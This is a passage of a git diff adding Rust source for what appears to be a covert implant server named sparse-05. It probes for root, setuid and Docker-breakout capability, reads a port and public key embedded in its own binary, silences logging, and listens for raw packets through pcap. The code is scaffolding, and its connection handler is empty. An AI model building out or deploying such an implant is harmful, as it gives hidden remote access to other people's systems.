root { + TransportType::RawUdp + } else { + TransportType::Udp + }; + + Ok(Capabilities { + docker_container, + docker_breakout, + setuid, + root, + transport, + }) +} diff --git a/sparse-05/sparse-05-server/src/connection.rs b/sparse-05/sparse-05-server/src/connection.rs new file mode 100644 index 0000000..44bdc2a --- /dev/null +++ b/sparse-05/sparse-05-server/src/connection.rs @@ -0,0 +1,10 @@ +use std::sync::mpsc::Sender; + +use pcap_sys::packets::EthernetPacket; + +#[derive(Clone)] +pub struct ConnectionHandle {} + +pub fn spawn_connection_handler(packet_sender: Sender) -> ConnectionHandle { + ConnectionHandle {} +} diff --git a/sparse-05/sparse-05-server/src/interface.rs b/sparse-05/sparse-05-server/src/interface.rs new file mode 100644 index 0000000..f0546c6 --- /dev/null +++ b/sparse-05/sparse-05-server/src/interface.rs @@ -0,0 +1,37 @@ +use std::{net::UdpSocket, sync::Arc}; + +pub enum Interface { + RawUdp(pcap_sys::Interface), + Udp(UdpSocket), +} + +impl Interface { + pub fn split(self) -> (InterfaceSender, InterfaceReceiver) { + match self { + Self::RawUdp(interface) => { + let arc = Arc::new(interface); + ( + InterfaceSender::RawUdp(Arc::clone(&arc)), + InterfaceReceiver::RawUdp(arc), + ) + } + Self::Udp(interface) => { + let other = interface.try_clone().unwrap(); + ( + InterfaceSender::Udp(interface), + InterfaceReceiver::Udp(other), + ) + } + } + } +} + +pub enum InterfaceSender { + RawUdp(Arc>), + Udp(UdpSocket), +} + +pub enum InterfaceReceiver { + RawUdp(Arc>), + Udp(UdpSocket), +} diff --git a/sparse-05/sparse-05-server/src/main.rs b/sparse-05/sparse-05-server/src/main.rs new file mode 100644 index 0000000..005233c --- /dev/null +++ b/sparse-05/sparse-05-server/src/main.rs @@ -0,0 +1,96 @@ +use std::{ + collections::HashMap, + net::Ipv4Addr, + sync::{mpsc::channel, Arc}, + thread, +}; + +use anyhow::{anyhow, bail, Context}; +use connection::ConnectionHandle; +use ed25519_dalek::PublicKey; + +use pcap_sys::packets::EthernetPacket; +use sparse_05_common::CONFIG_SEPARATOR; + +mod capabilities; +mod connection; +mod interface; + +fn main() -> anyhow::Result<()> { + simple_logger::SimpleLogger::new() + .with_level(log::LevelFilter::Off) + .with_module_level("sparse-05-server", log::LevelFilter::Info) + .init()?; + + let capabilities = capabilities::get_capabilities()?; + + let config_bytes = catconf::read_from_exe(CONFIG_SEPARATOR, 512)?; + if config_bytes.len() != 34 { + bail!("could not load configuration"); + } + + let (port, pubkey) = { + let port = u16::from_be_bytes(config_bytes[..2].try_into().unwrap()); + let pubkey = PublicKey::from_bytes(&config_bytes[2..]) + .context("could not parse public key from configuration")?; + + (port, Arc::new(pubkey)) + }; + + let mut interfaces = pcap_sys::PcapDevIterator::new()?; + let interface_name = interfaces + .find(|eth| eth.starts_with("eth") || eth.starts_with("en")) + .ok_or(anyhow!("could not get an ethernet interface"))?; + + let mut interface = loop { + macro_rules! retry { + ($e:expr) => {{ + match $e { + Ok(res) => res, + Err(e) => { + eprintln!( + "unable to open interface, sleeping for one second... ({:?})", + e + ); + std::thread::sleep(std::time::Duration::from_millis(1000)); + continue; + } + } + }}; + } + + let mut interface = retry!(pcap_sys::Interface::::new( + &interface_name + )); + + retry!(interface.set_buffer_size(8192)); + retry!(interface.set_non_blocking(false)); + retry!(interface.set_promisc(false)); + retry!(interface.set_timeout(10)); + + let mut interface = retry!(interface.activate()); + + retry!(interface.set_filter(&format!("inbound and port {port}"), true, None)); + + if interface.datalink() != pcap_sys::consts::DLT_EN10MB { + bail!("interface does not properly support ethernet"); + } + + break Arc::new(interface); + }; + + let mut connections: HashMap<(Ipv4Addr, u16), ConnectionHandle> = HashMap::new(); + let (send_eth_packet, recv_eth_packet) = channel::(); + + { + let interface = Arc::clone(&interface); + thread::spawn(move || loop { + let Ok(packet) = recv_eth_packet.recv() else { continue }; + if let Err(_) = interface.sendpacket(packet.pkt()) {} + }); + } + + interface.listen(move |_, _| Ok(false), false, -1); + + Ok(()) +}